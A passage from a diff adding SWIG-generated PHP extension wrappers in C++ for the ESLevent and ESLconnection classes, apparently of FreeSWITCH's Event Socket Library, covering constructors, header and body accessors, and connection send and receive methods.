+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of new_ESLevent. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  result = (ESLevent *)new ESLevent(arg1);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLevent) {
+  int argc;
+  zval **argv[2];
+  
+  argc = ZEND_NUM_ARGS();
+  zend_get_parameters_array_ex(argc,argv);
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    {
+      void *tmp;
+      _v = (SWIG_ConvertPtr( *argv[0], (void**)&tmp, SWIGTYPE_p_esl_event_t, 0) >= 0);
+    }
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_1(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+      }
+      _v = (Z_TYPE_PP(argv[1]) == IS_LONG); 
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_1(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+      }
+    }
+  }
+  if (argc == 1) {
+    int _v;
+    {
+      void *tmp;
+      _v = (SWIG_ConvertPtr( *argv[0], (void**)&tmp, SWIGTYPE_p_ESLevent, 0) >= 0);
+    }
+    if (_v) {
+      return _wrap_new_ESLevent__SWIG_2(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+    }
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    _v = (Z_TYPE_PP(argv[0]) == IS_STRING); 
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_0(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+      }
+      _v = (Z_TYPE_PP(argv[1]) == IS_STRING); 
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_0(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+      }
+    }
+  }
+  
+  SWIG_ErrorCode() = E_ERROR;
+  SWIG_ErrorMsg() = "No matching function for overloaded 'new_ESLevent'";
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+/* This function is designed to be called by the zend list destructors */
+/* to typecast and do the actual destruction */
+static void __wrap_delete_ESLevent(zend_rsrc_list_entry *rsrc, const char *type_name TSRMLS_DC) {
+  swig_object_wrapper *value=(swig_object_wrapper *) rsrc->ptr ;
+  void *ptr=value->ptr ;
+  int newobject=value->newobject ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  
+  efree(value);
+  if (! newobject) return; /* can't delete it! */
+  arg1 = (ESLevent *)SWIG_ZTS_ConvertResourceData(ptr,type_name,SWIGTYPE_p_ESLevent TSRMLS_CC);
+  if (! arg1) zend_error(E_ERROR, "ESLevent resource already free'd");
+  delete arg1;
+  
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialize) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) NULL ;
+  char *result = 0 ;
+  zval **args[2];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<1 || arg_count>2 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_serialize. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  if(arg_count > 1) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[1]);
+    arg2 = (char *) Z_STRVAL_PP(args[1]);
+    /*@SWIG@*/;
+    
+  }
+  result = (char *)(arg1)->serialize((char const *)arg2);
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_setPriority) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+  bool result;
+  esl_priority_t *tmp2 ;
+  zval **args[2];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<1 || arg_count>2 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_setPriority. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  if(arg_count > 1) {
+    {
+      if(SWIG_ConvertPtr(*args[1], (void **) &tmp2, SWIGTYPE_p_esl_priority_t, 0) < 0 || tmp2 == NULL) {
+        SWIG_PHP_Error(E_ERROR, "Type error in argument 2 of ESLevent_setPriority. Expected SWIGTYPE_p_esl_priority_t");
+      }
+      arg2 = *tmp2;
+    }
+  }
+  result = (bool)(arg1)->setPriority(arg2);
+  {
+    ZVAL_BOOL(return_value,(result)?1:0);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getHeader) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *result = 0 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_getHeader. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (char *)(arg1)->getHeader((char const *)arg2);
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getBody) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_getBody. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (char *)(arg1)->getBody();
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getType) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_getType. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (char *)(arg1)->getType();
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_addBody) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_addBody. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (bool)(arg1)->addBody((char const *)arg2);
+  {
+    ZVAL_BOOL(return_value,(result)?1:0);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_addHeader) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  bool result;
+  zval **args[3];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 3 || zend_get_parameters_array_ex(3, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_addHeader. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[2]);
+  arg3 = (char *) Z_STRVAL_PP(args[2]);
+  /*@SWIG@*/;
+  
+  result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+  {
+    ZVAL_BOOL(return_value,(result)?1:0);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_delHeader) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_delHeader. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (bool)(arg1)->delHeader((char const *)arg2);
+  {
+    ZVAL_BOOL(return_value,(result)?1:0);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_firstHeader) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_firstHeader. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (char *)(arg1)->firstHeader();
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_nextHeader) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLevent_nextHeader. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (char *)(arg1)->nextHeader();
+  {
+    if(!result) {
+      ZVAL_NULL(return_value);
+    } else {
+      ZVAL_STRING(return_value,result, 1);
+    }
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLconnection__SWIG_0) {
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLconnection *result = 0 ;
+  zval **args[3];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 3 || zend_get_parameters_array_ex(3, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[0]);
+  arg1 = (char *) Z_STRVAL_PP(args[0]);
+  /*@SWIG@*/;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[2]);
+  arg3 = (char *) Z_STRVAL_PP(args[2]);
+  /*@SWIG@*/;
+  
+  result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLconnection, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLconnection__SWIG_1) {
+  int arg1 ;
+  ESLconnection *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,7,CONVERT_INT_IN@*/
+  convert_to_long_ex(args[0]);
+  arg1 = (int) Z_LVAL_PP(args[0]);
+  /*@SWIG@*/;
+  
+  result = (ESLconnection *)new ESLconnection(arg1);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLconnection, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_new_ESLconnection) {
+  int argc;
+  zval **argv[3];
+  
+  argc = ZEND_NUM_ARGS();
+  zend_get_parameters_array_ex(argc,argv);
+  if (argc == 1) {
+    int _v;
+    _v = (Z_TYPE_PP(argv[0]) == IS_LONG); 
+    if (_v) {
+      return _wrap_new_ESLconnection__SWIG_1(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+    }
+  }
+  if (argc == 3) {
+    int _v;
+    _v = (Z_TYPE_PP(argv[0]) == IS_STRING); 
+    if (_v) {
+      _v = (Z_TYPE_PP(argv[1]) == IS_STRING); 
+      if (_v) {
+        _v = (Z_TYPE_PP(argv[2]) == IS_STRING); 
+        if (_v) {
+          return _wrap_new_ESLconnection__SWIG_0(INTERNAL_FUNCTION_PARAM_PASSTHRU);
+        }
+      }
+    }
+  }
+  
+  SWIG_ErrorCode() = E_ERROR;
+  SWIG_ErrorMsg() = "No matching function for overloaded 'new_ESLconnection'";
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+/* This function is designed to be called by the zend list destructors */
+/* to typecast and do the actual destruction */
+static void __wrap_delete_ESLconnection(zend_rsrc_list_entry *rsrc, const char *type_name TSRMLS_DC) {
+  swig_object_wrapper *value=(swig_object_wrapper *) rsrc->ptr ;
+  void *ptr=value->ptr ;
+  int newobject=value->newobject ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  
+  efree(value);
+  if (! newobject) return; /* can't delete it! */
+  arg1 = (ESLconnection *)SWIG_ZTS_ConvertResourceData(ptr,type_name,SWIGTYPE_p_ESLconnection TSRMLS_CC);
+  if (! arg1) zend_error(E_ERROR, "ESLconnection resource already free'd");
+  delete arg1;
+  
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_socketDescriptor) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_socketDescriptor. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (int)(arg1)->socketDescriptor();
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_connected) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_connected. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (int)(arg1)->connected();
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_getInfo) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_getInfo. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (ESLevent *)(arg1)->getInfo();
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_send) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_send. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (int)(arg1)->send((char const *)arg2);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_sendRecv) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_sendRecv. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_api) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  zval **args[3];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<2 || arg_count>3 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_api. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  if(arg_count > 2) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[2]);
+    arg3 = (char *) Z_STRVAL_PP(args[2]);
+    /*@SWIG@*/;
+    
+  }
+  result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_bgapi) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  zval **args[3];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<2 || arg_count>3 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_bgapi. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  if(arg_count > 2) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[2]);
+    arg3 = (char *) Z_STRVAL_PP(args[2]);
+    /*@SWIG@*/;
+    
+  }
+  result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_sendEvent) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *arg2 = (ESLevent *) 0 ;
+  int result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_sendEvent. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  {
+    if(SWIG_ConvertPtr(*args[1], (void **) &arg2, SWIGTYPE_p_ESLevent, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 2 of ESLconnection_sendEvent. Expected SWIGTYPE_p_ESLevent");
+    }
+  }
+  result = (int)(arg1)->sendEvent(arg2);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_recvEvent) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_recvEvent. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (ESLevent *)(arg1)->recvEvent();
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_recvEventTimed) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int arg2 ;
+  ESLevent *result = 0 ;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
